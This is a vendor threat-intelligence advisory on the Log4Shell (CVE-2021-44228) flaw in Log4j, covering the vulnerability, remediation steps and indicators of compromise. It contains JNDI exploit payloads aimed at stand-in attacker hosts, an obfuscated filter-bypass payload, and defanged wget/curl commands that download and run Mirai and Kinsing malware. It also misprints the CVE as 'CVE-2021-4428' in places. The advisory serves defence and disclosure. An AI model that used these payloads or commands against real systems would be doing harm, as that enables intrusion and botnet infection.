Log4Shell (CVE-2021-44228) Remote Code Execution Vulnerability Actively Exploited in the Wild


The Log4Shell vulnerability, tracked as CVE-2021-4428, has the highest severity of CVSS 10, as it enables unauthenticated remote code execution and is already being exploited in the wild.
Category Vulnerability Intelligence
Vulnerability Class Remote Code Execution(Unauthenticated)
CVE ID CVE-2021-44228
CVSS:3.0 Score 10

Executive Summary

  • A critical vulnerability (CVE-2021-44228) impacting multiple versions of the logging utility, Apache Log4j 2, was disclosed on 9th December.
  • This vulnerability affects the open-source logging framework Log4j, versions 2.0 to 2.14.1, used across the verticals. Apache has released the update, Log4j 2.15.0, as a fix for the same.
  • The Log4Shell vulnerability, tracked as CVE-2021-4428, has the highest severity of CVSS 10, as it enables unauthenticated remote code execution and is already being exploited in the wild.
Threat actors are comparing the vulnerability in Apache Log4j to Eternal Blue
Threat actors are comparing the vulnerability in Apache Log4j to Eternal Blue

What is Log4j?

Log4j 2 is a Java-based logging library written in Java, used in various open-source libraries and extensively used in major software applications such as Amazon, Apple iCloud, Cisco, Cloudflare, ElasticSearch, Red Hat, Steam, Tesla, Twitter, Minecraft: Java Edition, Tencent QQ, HCL, VMware, Adobe, Atlassian, etc. Logging shows the state of the system at runtime and captures data and makes it available for analysis at any given time. Popular for being an extremely fast and flexible logging framework, Log4j supports custom log levels. The levels are hierarchical and are as follows: TRACE, DEBUG, INFO, WARN, ERROR, and FATAL. Once a user sets a particular log level, messages will get logged for that level and all the levels above it and none of the log levels below that. For instance, if the log level is set to ERROR, the utility will log messages for levels ERROR and FATAL. Whereas, if the log level is set to INFO, Log4j will log messages for levels INFO, WARN, ERROR, and FATAL.

Vulnerability Analysis

The vulnerability in Log4j was caused due to a misconfiguration in JNDI (Java Naming and Directory Interface). The utility had no restrictions set for accessing LDAP (Lightweight Directory Access Protocol). The attackers could leverage this flaw to their advantage by making a GET request to any endpoint, to which the server responds with a remote Java class file. This remote Java class file when injected into the server, results in Remote Code Execution. The Java library that does the logging, interprets a string as a command, instead of just writing it to the log. For example, an attacker could use a login page, placing the attack string in the username field where they know it will be logged.

Exploitation Tactics:

Here’s a sample vulnerable code in which the attacker can use the User-Agent header to insert the payload:

import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;
import java.io.*;
import java.sql.SQLException;
import java.util.*;

public class VulnerableLog4jExampleHandler implements HttpHandler {

  static Logger log = LogManager.getLogger(VulnerableLog4jExampleHandler.class.getName());

  public void handle(HttpExchange he) throws IOException {
    String userAgent = he.getRequestHeader("user-agent");

    // This line triggers the RCE by logging the attacker-controlled HTTP User Agent header.
    // The attacker can set their User-Agent header to: ${jndi:ldap://attacker.com/a}
    log.info("Request User Agent:{}", userAgent);
    String response = " < h1 >Hello There, " + userAgent + "!< / h1 >
"; he.sendResponseHeaders(200, response.length()); OutputStream os = he.getResponseBody(); os.write(response.getBytes()); os.close(); } }
Threat actors have not restricted themselves to LDAP protocols. They may also use other protocols like DNS (Domain Name Service), RMI (Remote Method Invocation), LDAPS (Secure LDAP). For e.g., ${jndi:dns://attacker.server/ext} Here are other sample payloads:

${jndi:ldap://attacker.server:1389/ badClassName}

Modus Operandi

The attacker's server drops the following 3 ELF (Executable and Linkable Format) files that can be verified by VirusTotal to be a part of the Mirai botnet:
776c341504769aa67af7efc5acc66c338dab5684a8579134d3f23165c7abcc00 x86
8052f5cc4dfa9a8b4f67280a746acbc099319b9391e3b495a27d08fb5f08db81 x86_64
2b794cc70cb33c9b3ae7384157ecb78b54aaddc72f4f9cf90b4a4ce4e6cf8984 x86_g
The following image shows the file hashes:
The following image shows the file hashes:
The following image shows the file hashes:

Risk and Impact

Christmas has arrived early for cybercrooks looking to target millions of unaware victims. Threat actors are actively scanning for affected systems, exploring and discussing multiple attack vectors on popular hacker forums like Raidforums. Multiple attack campaigns are being launched each minute targeting unpatched servers. The incident is being compared to the Eternal Blue exploit leak which occurred in February 2017, which is responsible for the largest cybersecurity incident so far.     Threat actors are using the Log4j vulnerability to install cryptocurrency miners, Cobalt Strike, and create botnets. Threat actor groups and APTs are already scouring the internet for vulnerable hosts. For instance, the Log4j vulnerability was used to form Mirai and Mushtik botnets, which were however, flagged by honeypots around the world.   The vulnerability is exploited by threat actors to run code on remote servers. This has left popular games like Minecraft exposed to attacks, where the attacker can exploit it just by posting a payload in the chatbox. Other popular services like iCloud, Steam are also listed as vulnerable to this flaw. Triggering the vulnerability in an iPhone is as simple as changing the name of the iPhone. Attackers take advantage of the logged string to initiate attacks on any service that uses Log4j as a logging utility. The attacker simply has to send a malicious code string that could get logged by Log4j version 2.0-2.14.1, to exploit this vulnerability. The exploit enables arbitrary Java code on a server, allowing the attacker to take control. In the above example, the string User-Agent header was used to insert the payload, similarly attackers could consider any logged string as a command.

Business and End-user Impact

The attack vector of this Log4j is extensive, as any project that leverages the Log4j framework is vulnerable to attacks. For instance, AWS and VMware both use Log4j utility to log information and that makes any customer using these services susceptible to Remote Code Execution. A non-exhaustive search for potentially vulnerable products on Shodan, shows that there are at least 1.05 million exposed products that could be vulnerable to this flaw, which also helps us determine the scope of its attack surface. Among the list of countries, India stands at 11th position with more than 16 thousand vulnerable hosts. This could lead to a loss in business and loss of trust among stakeholders.   An attacker can potentially take over vulnerable servers by exploiting this vulnerability to install droppers and even use them to initiate ransomware attacks. Based on ongoing research by CloudSEK, the researchers have identified the rise of 79 new ransomware strains during Q2 and Q3 of this year alone, including CovidLocker, BlackMatter, Sabbath, etc. Also, USD 14 billion in ransomware payments have been reported in the year 2021.    The ease of exploitation of this particular vulnerability coupled with the enthusiasm of researchers putting out proofs of concept for working exploits and functional WAF rule bypasses for popular service providers  has resulted in working exploits landing up in the hands of malicious actors and increased attacks. Our globally deployed honeypots have logged a significant spike in the scanning for the vulnerability and attempts to exploit the same.

Remediation Measures

To address this vulnerability, potential targets could follow these steps:
  1. Update to the latest version i.e. 2.15.0
  2. Users can only update Log4j based on the Java version it runs on. Therefore:
    If the Java version is ≥ 8u121, it is possible to mitigate the issue by setting:
com.sun.jndi.rmi.object.trustURLCodebase to false
com.sun.jndi.cosnaming.object.trustURLCodebase to false
Using a Java version below 1.8 and log4j version ≥ 2.10 it is possible to mitigate this issue by    
  • Setting the system property, or formatMsgNoLookups: true
  • Setting the JVM parameter, or JAVA_OPTS = -Dlog4j2.formatMsgNoLookups=true
  • Removing JndiLookup class from the classpath zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class
   Please Note: It is advisable to update and patch to the latest version, as these workarounds might cause disruptions in your normal logging activity.
  1.   In case, users are unable to update to the latest version, resort to the IMMA Model
  • Isolate
  • Minimize
  • Monitor 
  • Active Defense
Isolate the impacted systems to a vulnerable VLAN and deploy a Proxy Firewall with deep packet inspection to restrict the communication between the rest of the systems. Monitor for irregular patterns, look for unauthorized configuration changes and also look for port/ protocol mismatch in the infrastructure. Please Note: If you're filtering on "ldap", "jndi", or the ${lower:x} keywords, there are bypasses available, a sample payload can be: ${${env:BARFOO:-j}ndi${env:BARFOO:-:}${env:BARFOO:-l}dap${env:BARFOO:-:}[//attacker.com/a]}  

Indicators Of Compromise

The following indicators of compromise are associated with observed exploitation activity targeting CVE-2021-44228.  



IP Addresses

A list of malicious IP addresses detected for Apache Log4j RCE Attempts can be found here


curl -o /tmp/kinsing curl -o /tmp/libsystem.so curl -o /etc/kinsing chmod 777 /tmp/kinsing chattr -R -i /var/spool/cron chmod +x /etc/kinsing
hxxp[:]//45.137.155[.]55/ex[.]sh hxxp[:]//45.137.155[.]55/kinsing hxxp[:]//80.71.158[.]12/libsystem.so hxxp[:]//80.71.158[.]12/kinsing hxxp[:]//80.71.158[.]12/Exploit69ogQNSQYz.class  
Hashes (SHA256)
8933820cf2769f6e7f1a711e188f551c3d5d3843c52167a34ab8d6eabb0a63ef 6e25ad03103a1a972b78c642bac09060fa79c460011dc5748cbb433cc459938b c38c21120d8c17688f9aeb2af5bdafb6b75e1d2673b025b720e50232f888808a  


Mirai retrieval script (SHA256):
3f6120ca0ff7cf6389ce392d4018a5e40b131a083b071187bf54c900e2edad26 (lh[.]sh)
Binary retrieval/ execution commands
wget hxxp[:]//62.210.130[.]250/web/admin/x86;chmod +x x86;./x86 x86; wget hxxp[:]//62.210.130[.]250/web/admin/x86_g;chmod +x x86_g;./x86_g x86_g; wget hxxp[:]//62.210.130[.]250/web/admin/x86_64;chmod +x x86_64;./x86_g x86_64;
Mirai binary hashes (SHA256)
776c341504769aa67af7efc5acc66c338dab5684a8579134d3f23165c7abcc00 8052f5cc4dfa9a8b4f67280a746acbc099319b9391e3b495a27d08fb5f08db81 2b794cc70cb33c9b3ae7384157ecb78b54aaddc72f4f9cf90b4a4ce4e6cf8984
Mirai attacker IP address
62.210.130[.]250 Additional Malware Payload Hashes (SHA256)  


















Note: Refer to this collection of hashes  


Table of Contents

Request an easy and customized demo for free